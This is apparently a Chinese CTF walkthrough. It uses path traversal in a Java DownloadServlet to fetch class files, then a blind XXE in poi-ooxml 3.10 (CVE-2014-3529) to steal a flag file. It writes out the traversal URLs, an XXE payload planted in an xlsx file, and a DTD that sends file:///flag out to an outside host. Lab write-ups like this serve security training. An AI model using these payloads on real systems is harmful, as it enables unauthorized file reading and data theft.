任意文件下载
入眼是一个上传框,我们先随意上传一个正常图片试试水
拿到文件下载地址,尝试一下能否任意文件下载
抓下载的包尝试目录穿越
成功下载web.xml的内容
所有class文件都在**/WEB-INF/classes**继续下载所有的class文件,注意不要忘了class后缀
/DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fDownloadServlet.class
/DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fListFileServlet.class
/DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fUploadServlet.class
将三个文件拖入idea反编译,发现关键代码
暴露了使用的依赖poi-ooxml的版本信息3.10,去神奇的搜索引擎搜索一下它的漏洞
刚好可以利用,那么接下来就是漏洞复现的过程了
CVE-2014-3529
此漏洞需要一台vps进行配合,因为是盲打xxe,数据需要带外才能看见
我这里是借用的buu平台的linux labs,开启一个靶机后会给你一个url可以被外网访问,外网81端口映射的是靶机的80端口,是个apache的web服务。因为只有一个端口可以用,我们把dtd文件放在这个web服务上,flag也发到这个web服务上即可
新建个xlsx文件,后缀改zip解压
在**[Content_Types].xml**中插入恶意xml代码,引入我们vps上的外部实体
<!DOCTYPE convert [
<!ENTITY % test SYSTEM 'http://2c45ed92-c49e-4f58-881c-78a9cac2d194.node4.buuoj.cn:81/server.dtd'> %test; %exe; %entity;]>
改完了后,把它们压缩回zip,改后缀xlsx
题目代码限制了文件名excel-***.xlsx
我们vps的web服务器上准备好dtd文件如下
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % exe "<!ENTITY % entity SYSTEM 'http://2c45ed92-c49e-4f58-881c-78a9cac2d194.node4.buuoj.cn:81/%file;'>">
上传我们的excel-exp.xlsx
vps查看apache访问日志
url解码得到flagflag{1773660f-ee5a-4ad0-84ac-e8029f518c22}